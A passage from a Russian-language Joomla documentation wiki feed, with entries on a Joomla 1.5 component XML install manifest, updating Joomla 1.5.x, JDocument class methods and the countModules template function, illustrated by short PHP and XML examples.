				<updated>2009-03-27T10:05:27Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: Добавлена ссылка на аналог для версии 1.0&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Большинство из описанных в данном примере полей не обязательны для заполнения, потому в реальных установочных пакетах содержимое этого файла может быть намного лаконичнее.&lt;br /&gt;
&amp;lt;xml&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;install type=&amp;quot;component&amp;quot; version=&amp;quot;1.5.0&amp;quot;&amp;gt; &amp;lt;!-- так же возможен атрибут method=&amp;quot;upgrade&amp;quot;, при котором установщик,&lt;br /&gt;
						заменит существующий компонент устанавливаемым в случае если компонент&lt;br /&gt;
						с таким названием уже установлен в системе --&amp;gt;&lt;br /&gt;
	&amp;lt;name&amp;gt;hello_world&amp;lt;/name&amp;gt;&lt;br /&gt;
	&amp;lt;!-- Элементы ниже необязательны и их значения могут быть введены в произвольном формате --&amp;gt;&lt;br /&gt;
	&amp;lt;creationDate&amp;gt;2007 01 17&amp;lt;/creationDate&amp;gt;&lt;br /&gt;
	&amp;lt;author&amp;gt;John Doe&amp;lt;/author&amp;gt;&lt;br /&gt;
	&amp;lt;authorEmail&amp;gt;john.doe@example.org&amp;lt;/authorEmail&amp;gt;&lt;br /&gt;
	&amp;lt;authorUrl&amp;gt;http://www.example.org&amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
	&amp;lt;copyright&amp;gt;Copyright Info&amp;lt;/copyright&amp;gt;&lt;br /&gt;
	&amp;lt;license&amp;gt;License Info&amp;lt;/license&amp;gt;&lt;br /&gt;
	&amp;lt;!-- Строка версии записывается в таблицу компонентов --&amp;gt;&lt;br /&gt;
	&amp;lt;version&amp;gt;Component Version String&amp;lt;/version&amp;gt;&lt;br /&gt;
	&amp;lt;!-- Поле description необязательно и по умолчанию равно значению поля name --&amp;gt;&lt;br /&gt;
	&amp;lt;description&amp;gt;Описание компонента ...&amp;lt;/description&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;!-- Пользовательский файл установки компонента --&amp;gt;&lt;br /&gt;
	&amp;lt;installfile&amp;gt;install.eventlist.php&amp;lt;/installfile&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;!-- Пользовательский файл удаления компонента --&amp;gt;&lt;br /&gt;
	&amp;lt;uninstallfile&amp;gt;uninstall.eventlist.php&amp;lt;/uninstallfile&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;!-- SQL-скрипты, исполняемые при установке компонента --&amp;gt;&lt;br /&gt;
	&amp;lt;install&amp;gt;&lt;br /&gt;
		&amp;lt;sql&amp;gt;&lt;br /&gt;
			&amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;install.mysql.utf8.sql&amp;lt;/file&amp;gt;&lt;br /&gt;
			&amp;lt;file driver=&amp;quot;mysql&amp;quot;&amp;gt;install.mysql.nonutf8.sql&amp;lt;/file&amp;gt;&lt;br /&gt;
		&amp;lt;/sql&amp;gt;&lt;br /&gt;
	&amp;lt;/install&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;!-- SQL-скрипты, исполняемые при удалении компонента --&amp;gt;&lt;br /&gt;
	&amp;lt;uninstall&amp;gt;&lt;br /&gt;
		&amp;lt;sql&amp;gt;&lt;br /&gt;
			&amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&lt;br /&gt;
			&amp;lt;file driver=&amp;quot;mysql&amp;quot;&amp;gt;uninstall.mysql.nonutf8.sql&amp;lt;/file&amp;gt;&lt;br /&gt;
		&amp;lt;/sql&amp;gt;&lt;br /&gt;
	&amp;lt;/uninstall&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;!-- Файлы и директории, копируемые из установочного архива в директорию компонента на сайте --&amp;gt;&lt;br /&gt;
	&amp;lt;files&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;test.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
                &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&lt;br /&gt;
	&amp;lt;/files&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;!-- Файлы переводов --&amp;gt;&lt;br /&gt;
	&amp;lt;languages&amp;gt;&lt;br /&gt;
		&amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.com_test.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
		&amp;lt;language tag=&amp;quot;de-DE&amp;quot;&amp;gt;de-DE.com_test.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
		&amp;lt;language tag=&amp;quot;nl-NL&amp;quot;&amp;gt;nl-NL.com_test.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
	&amp;lt;/languages&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;!-- Мультимедийные файлы, копируются в media/{значение атрибута 'destination'} --&amp;gt;&lt;br /&gt;
	&amp;lt;media destination=&amp;quot;com_test&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;image.png&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;flash.swf&amp;lt;/filename&amp;gt;&lt;br /&gt;
	&amp;lt;/media&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;administration&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
		&amp;lt;!-- Меню администратора --&amp;gt;&lt;br /&gt;
		&amp;lt;menu img=&amp;quot;components/com_test/assets/test-16.png&amp;quot;&amp;gt;EventList&amp;lt;/menu&amp;gt;&lt;br /&gt;
		&amp;lt;submenu&amp;gt;&lt;br /&gt;
			&amp;lt;!-- Все символы '&amp;amp;' должны быть заменены на '&amp;amp;amp;'. Установочный файл должен быть действительным XML-файлом, чтобы его мог обработать установщик --&amp;gt;&lt;br /&gt;
			&amp;lt;menu link=&amp;quot;option=com_helloworld&amp;amp;amp;task=hello&amp;amp;amp;who=world&amp;quot;&amp;gt;Hello World!&amp;lt;/menu&amp;gt;&lt;br /&gt;
			&amp;lt;!-- Также можно указывать значения отдельных атрибутов ссылки вместо указания адреса: --&amp;gt;&lt;br /&gt;
			&amp;lt;menu img=&amp;quot;icon&amp;quot; task=&amp;quot;hello&amp;quot; controller=&amp;quot;z&amp;quot; view=&amp;quot;a&amp;quot; layout=&amp;quot;b&amp;quot; sub=&amp;quot;c&amp;quot;&amp;gt;Hello Again!&amp;lt;/menu&amp;gt;&lt;br /&gt;
			&amp;lt;menu view=&amp;quot;test&amp;quot; layout=&amp;quot;foo&amp;quot;&amp;gt;Testing Foo Layout&amp;lt;/menu&amp;gt;&lt;br /&gt;
		&amp;lt;/submenu&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;!-- Файлы и директории, копируемые из установочного архива в директорию компонента в панели администрирования --&amp;gt;&lt;br /&gt;
		&amp;lt;!-- Обратите внимание на то, что значение атрибута 'folder' содержит имя ИСХОДНОЙ директории&lt;br /&gt;
			в установочном архиве, относительно которой задаются пути перечисленных ниже файлов.&lt;br /&gt;
			В данном случае, файл /my_admin_dir/index.html будет скопирован в /administrator/components/com_hello_world/index.html;&lt;br /&gt;
			а файл /my_admin_dir/admin.test.php будет скопирован в /administrator/components/com_hello_world/admin.test.php --&amp;gt;&lt;br /&gt;
		&amp;lt;files folder=&amp;quot;my_admin_dir&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;admin.test.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;/files&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;!-- Файлы переводов для интерфейса панели администрирования --&amp;gt;&lt;br /&gt;
		&amp;lt;languages folder=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.com_test.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
			&amp;lt;language tag=&amp;quot;de-DE&amp;quot;&amp;gt;de-DE.com_test.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
			&amp;lt;language tag=&amp;quot;nl-NL&amp;quot;&amp;gt;nl-NL.com_test.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
		&amp;lt;/languages&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;!-- Мультимедийные файлы для панели администрирования --&amp;gt;&lt;br /&gt;
		&amp;lt;media folder=&amp;quot;admin&amp;quot; destination=&amp;quot;com_test&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;admin-image.png&amp;lt;/filename&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;admin-flash.swf&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;/media&amp;gt;&lt;br /&gt;
	&amp;lt;/administration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;!-- Настраиваемые параметры компонента в панели администрирования. Для плагинов и модулей отображаются на странице&lt;br /&gt;
		настройки модуля, для компонента подключаются отдельно на каждую страницу интерфейса функцией&lt;br /&gt;
			JToolBarHelper::preferences( 'com_hello_world' ); --&amp;gt;&lt;br /&gt;
	&amp;lt;params&amp;gt;&lt;br /&gt;
		&amp;lt;param name=&amp;quot;my_text_param&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;Значение&amp;quot; label=&amp;quot;Текстовое поле:&amp;quot; description=&amp;quot;Однострочное текстовое поле&amp;quot; size=&amp;quot;31&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;param name=&amp;quot;my_big_text_param&amp;quot; type=&amp;quot;textarea&amp;quot; label=&amp;quot;Многострочное текстовое поле&amp;quot; rows=&amp;quot;5&amp;quot; cols=&amp;quot;40&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;param name=&amp;quot;@spacer&amp;quot; type=&amp;quot;spacer&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt; &amp;lt;!-- разделитель --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;param name=&amp;quot;my_list_param&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;foo&amp;quot; label=&amp;quot;Выпадающий список:&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;foo&amp;quot;&amp;gt;Вариант 1&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;bar&amp;quot;&amp;gt;Вариант 2&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/param&amp;gt;&lt;br /&gt;
		&amp;lt;param name=&amp;quot;my_radio_param&amp;quot; type=&amp;quot;radio&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;Переключаемые значения:&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Вкл.&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Выкл.&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/param&amp;gt;&lt;br /&gt;
		&amp;lt;advanced&amp;gt;&lt;br /&gt;
			&amp;lt;param name=&amp;quot;my_geek_param&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;Значение&amp;quot; label=&amp;quot;Текстовое поле:&amp;quot; description=&amp;quot;Однострочное текстовое поле&amp;quot; size=&amp;quot;31&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/advanced&amp;gt;&lt;br /&gt;
	&amp;lt;/params&amp;gt;&lt;br /&gt;
	&amp;lt;params group=&amp;quot;Другая вкладка&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;param name=&amp;quot;my_foo_param&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Текстовое поле:&amp;quot; description=&amp;quot;Однострочное текстовое поле&amp;quot; size=&amp;quot;31&amp;quot; /&amp;gt;&lt;br /&gt;
	&amp;lt;/params&amp;gt;&lt;br /&gt;
&amp;lt;/install&amp;gt;&lt;br /&gt;
&amp;lt;/xml&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== См. также ==&lt;br /&gt;
* [[XML файл компонента Joomla|XML файл компонента Joomla 1.0]]&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* [http://docs.joomla.org/Components:xml_installfile источник]&lt;br /&gt;
* [http://docs.joomla.org/Component_parameters Описание параметров компонентов на docs.joomla.org]&lt;br /&gt;
&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Sli</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9A%D0%B0%D0%BA_%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D1%8C_Joomla_1.5_%D1%81_%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D0%B8_1.5.%D1%85</id>
		<title>Как обновить Joomla 1.5 с версии 1.5.х</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9A%D0%B0%D0%BA_%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D1%8C_Joomla_1.5_%D1%81_%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D0%B8_1.5.%D1%85"/>
				<updated>2008-11-30T15:02:06Z</updated>
		
		<summary type="html">&lt;p&gt;Sourpuss: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Обновить Joomla! не просто, а очень просто. Вкратце это выглядит так: скачиваем нужный пакет, распаковываем его, заменяем существующие файлы файлами из пакета обновления. Joomla 1.5 обновляется точно так же, как и Joomla 1.0, т.е. простой перезаписью файлов. Перед обновлением Joomla не забывайте делать бэкап файлов и базы данных.&lt;br /&gt;
&lt;br /&gt;
А сейчас рассмотрим процесс обновления подробнее.&lt;br /&gt;
&lt;br /&gt;
==Шаг 1: Скачайте пакет обновления==&lt;br /&gt;
&lt;br /&gt;
Для скачивания последнего пакета обновления:&lt;br /&gt;
&lt;br /&gt;
* Зайдите на страницу [http://www.joomla.org/download.html Скачивания Joomla].&lt;br /&gt;
* Нажмите ссылку '''Download other Joomla 1.5.x packages'''. &lt;br /&gt;
* Выберите пакет обновления, соответствующий вашей версии Joomla!. &lt;br /&gt;
''Например: Если у вас версия 1.5.5, а последняя версия Joomla - 1.5.8, то необходимо скачать пакет Joomla_1.5.5_to_1.5.8-Stable-Patch_Package''&lt;br /&gt;
* Поверьте MD5-хэш в правом столбце в той же строке, что и скачиваемый пакет обновления.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для поиска MD5-хэша пакета обновления:&lt;br /&gt;
&lt;br /&gt;
# На странице [http://www.joomla.org/download.html Скачивания Joomla], нажмите ссылку &amp;quot;Download other Joomla 1.5.x packages&amp;quot;&lt;br /&gt;
# Нажмите на ссылку, выделенную жирным шрифтом в столбце 'Release Name'. Например, если вы хотите найти хэш пакета обновления версии 1.5.5 до 1.5.8, нажмите 'Joomla1.5.8updates'.&lt;br /&gt;
# На открывшейся странице выберите вкладку 'Files', где можно увидеть хэш каждого пакета обновления.&lt;br /&gt;
&lt;br /&gt;
На странице скачивания обновления все пакеты представлены в трёх форматах сжатия: zip, tar.gz и tar.bz2. Они отличаются лишь размером и используемым форматом сжатия. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Шаг 2: Сделайте архивную копию сайта==&lt;br /&gt;
Перед обновлением необходимо также сделать архивную копию (бэкап) файлов и базы данных вашего сайта на Joomla. Это мо;ет пригодиться, если после обновления Joomla возникнут какие-нибудь проблемы. При наличии бэкапа сайт всегда можно восстановить до прежнего состояния.&lt;br /&gt;
&lt;br /&gt;
''Более правильным является тестирование обновления на копии сайта, перед применением обновления на действующем сайте.''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Шаг 3: Обновите файлы==&lt;br /&gt;
Существует несколько способов распаковки и обновления файлов:&lt;br /&gt;
* 1. Распакуйте скачанные на свой компьютер файлы и по FTP замените файлы Joomla.&lt;br /&gt;
&lt;br /&gt;
* 2. Закачайте пакет обновления по FTP на хостинг и распакуйте их там, использую менеджер файлов панели управления хостингом или с помощью терминала (SSH). Затем замените существующие файлы Joomla файлами из пакета обновления.&lt;br /&gt;
&lt;br /&gt;
* 3. С помощью wget в терминале хостинга (например SSH) закачайте пакет сразу на хостинг и распакуйте его там же. Затем замените существующие файлы Joomla файлами из пакета обновления.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Шаг 4: Проверьте работоспособность сайта==&lt;br /&gt;
К сожалению, не всегда сразу заметна некорректность работы сайта, даже если вы тестировали обновление на копии действующего сайта. Но это скорее исключение, чем правило. Поэтому надеемся, что все обновления пройдут успешно. Если проблемы после обновления невозможно решить быстро, то восстановите сайт до прежнего работоспособного состояния из архивных копий, сделанных на втором шаге процесса обновления.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:FAQ по Joomla]]&lt;/div&gt;</summary>
		<author><name>Sourpuss</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9A%D0%BB%D0%B0%D1%81%D1%81_JDocument_%D0%B2_Joomla_1.5</id>
		<title>Класс JDocument в Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9A%D0%BB%D0%B0%D1%81%D1%81_JDocument_%D0%B2_Joomla_1.5"/>
				<updated>2008-10-01T07:10:43Z</updated>
		
		<summary type="html">&lt;p&gt;Sourpuss: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''JDocument''' - это абстрактный класс, который предоставляет методы и свойства для поддержки различных типов документов. Сам класс объявлен в &amp;lt;code&amp;gt;/libraries/joomla/document/document.php&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
=== Методы класса JDocument ===&lt;br /&gt;
* '''addScript''' - добавляет ссылку на включенный яваскрипт-файл в исходный код документа. Проверяет на дубли.&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$doc =&amp;amp; JFactory::getDocument();&lt;br /&gt;
$doc-&amp;gt;addScript( &amp;quot;http://сайт.ру/js/myscript.js&amp;quot; );&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''addScriptDeclaration''' - добавляет описание некого скрипта прямо в исходный код. JS-код должен быть обрамлен слэшами перед кавычками.&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$content = 'alert( \'Привет!\' )';&lt;br /&gt;
$doc =&amp;amp; JFactory::getDocument();&lt;br /&gt;
$doc-&amp;gt;addScriptDeclaration( $content );&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''addStyleSheet''' - добавляет ссылку на CSS-файл в исходный код.&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$doc =&amp;amp; JFactory::getDocument();&lt;br /&gt;
$doc-&amp;gt;addStyleSheet( &amp;quot;http://сайт.ру/css/template.css&amp;quot; );&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''addStyleDeclaration''' - добавляет описание CSS-классов прямо в исходный код.&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$doc =&amp;amp; JFactory::getDocument();&lt;br /&gt;
$style = 'BODY {'&lt;br /&gt;
	. 'background: #00ff00;'&lt;br /&gt;
	. 'color: rgb(0,0,255);'&lt;br /&gt;
	. '}'; &lt;br /&gt;
$doc-&amp;gt;addStyleDeclaration( $style ); &lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== JDocumentHTML как потомок JDocument ===&lt;br /&gt;
Данный класс расширяет объект JDocument и используется при обработке конструкций шаблона. Ниже представлены его методы:&lt;br /&gt;
* '''getHeadData''' - при помощи этого метода можно получить массив, содержащий все элементы '''HTML'''-документа внутри тэга '''HEAD'''. Элементы имеют следующие имена:&lt;br /&gt;
** title - тэг ''title''&lt;br /&gt;
** description - тэг ''&amp;lt;meta name=”description” ... /&amp;gt;''&lt;br /&gt;
** link&lt;br /&gt;
** metaTags - массив ''&amp;lt;meta .... /&amp;gt;''&lt;br /&gt;
** links&lt;br /&gt;
** styleSheets - массив ''&amp;lt;link rel=”stylesheet” ... /&amp;gt;''&lt;br /&gt;
** style - тэг ''&amp;lt;style ... /&amp;gt; ... &amp;lt;/style&amp;gt;''&lt;br /&gt;
** scripts - массив ''&amp;lt;script ... src=”...”&amp;gt;&amp;lt;/script&amp;gt;''&lt;br /&gt;
** script - тэг ''&amp;lt;script ...&amp;gt; ... &amp;lt;/script&amp;gt;''&lt;br /&gt;
** custom&lt;br /&gt;
* '''addCustomTag''' - добавление внутрь '''HEAD'''-тэга своего кода&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$doc =&amp;amp; JFactory::getDocument();&lt;br /&gt;
$doc-&amp;gt;addCustomTag( '&amp;lt;!-- Комментарий --&amp;gt;' );&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''[[Функция countModules в Joomla 1.5|countModules]]''' - подсчет количества модулей не определенной позиции&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
''[http://docs.joomla.org/JDocument источник]''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_countModules_%D0%B2_Joomla_1.5</id>
		<title>Функция countModules в Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_countModules_%D0%B2_Joomla_1.5"/>
				<updated>2008-10-01T07:10:27Z</updated>
		
		<summary type="html">&lt;p&gt;Sourpuss: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Возвращает число модулей на определенной комбинации позиций модулей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Синтаксис ===&lt;br /&gt;
int countModules( $условие )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Подсчет модулей на единственной позиции ===&lt;br /&gt;
В примере используется подсчет модулей на позиции '''user1'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
&amp;lt;?php if ($this-&amp;gt;countModules( 'user1' )) : ?&amp;gt;&lt;br /&gt;
  &amp;lt;div class=&amp;quot;user1&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;user1&amp;quot; style=&amp;quot;rounded&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Подсчет модулей на нескольких позициях сразу ===&lt;br /&gt;
Этот метод так же может использоваться для подсчета количества модулей на неком множестве позиций.&lt;br /&gt;
&lt;br /&gt;
Например, для определения количества модулей на позиции '&amp;lt;code&amp;gt;user1&amp;lt;/code&amp;gt;' И '&amp;lt;code&amp;gt;user2&amp;lt;/code&amp;gt;' вместе, вам необходимо использовать следующий вызов функции:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$this-&amp;gt;countModules( 'user1 + user2' );&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Обычные арифметические опрерации +. -. *, / тоже будут работать, но тем не менее использовать операторы 'and' и 'or' намного удобнее.&lt;br /&gt;
&lt;br /&gt;
Например, для определения наличия хотя бы одного включенного модуля на каждой из позиций '&amp;lt;code&amp;gt;user1&amp;lt;/code&amp;gt;' и '&amp;lt;code&amp;gt;user2&amp;lt;/code&amp;gt;' вам необходимо поступить так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$this-&amp;gt;countModules( 'user1 and user2' );&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Будьте осторожны, ни в коем случае нельзя писать вот так:&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$this-&amp;gt;countModules( 'user1' and 'user2' );&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Все операции по пересечению или объединению множеств должны быть разделены '''одним пробелом''', например &lt;br /&gt;
 user1+user2 &lt;br /&gt;
не даст желаемого результата. &lt;br /&gt;
 user1  +  user2 &lt;br /&gt;
тоже приведет к ошибке, так как названия модулей разделены более чем одним пробелом.&lt;br /&gt;
&lt;br /&gt;
Еще пара примеров:&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
&amp;lt;?php if ($this-&amp;gt;countModules( 'user1 or user2' )) : ?&amp;gt;&lt;br /&gt;
	&amp;lt;div class=&amp;quot;rightcolumn&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;user1&amp;quot; style=&amp;quot;xhtml&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;user2&amp;quot; style=&amp;quot;xhtml&amp;quot; /&amp;gt;&lt;br /&gt;
	&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
&amp;lt;?php if ($this-&amp;gt;countModules( 'user1 or user2' )) : ?&amp;gt;&lt;br /&gt;
	&amp;lt;div class=&amp;quot;user1user2&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;?php if ($this-&amp;gt;countModules( 'user1' )) : ?&amp;gt;&lt;br /&gt;
			&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;user1&amp;quot; style=&amp;quot;xhtml&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;?php if ($this-&amp;gt;countModules( 'user1 and user2' )) : ?&amp;gt;&lt;br /&gt;
			&amp;lt;div class=&amp;quot;greyline&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
		&amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;?php if ($this-&amp;gt;countModules( 'user2' )) : ?&amp;gt;&lt;br /&gt;
			&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;user2&amp;quot; style=&amp;quot;xhtml&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Операторы, доступные в функции ===&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
!Оператор&lt;br /&gt;
!Пример&lt;br /&gt;
!Описание&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;+&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 + user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Общее количество модулей на обоих позициях.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;-&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 - user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Число модулей на позиции 1 минус число модулей на позиции 2.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;* &lt;br /&gt;
|&amp;lt;code&amp;gt;user1 * user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Переменожение числа модулей.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;/&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 / user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Число модулей на позиции 1, разделенное на число модулей на позиции 2.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;==&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 == user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Возвращает true если число включенных модулей на позиции 1 равно числу таких же на позиции 2. Иначе возвращает false.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;!=&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 != user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Возвращает true если число модулей не совпадает, иначе возвращает false.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;&amp;amp;lt;&amp;amp;gt;&lt;br /&gt;
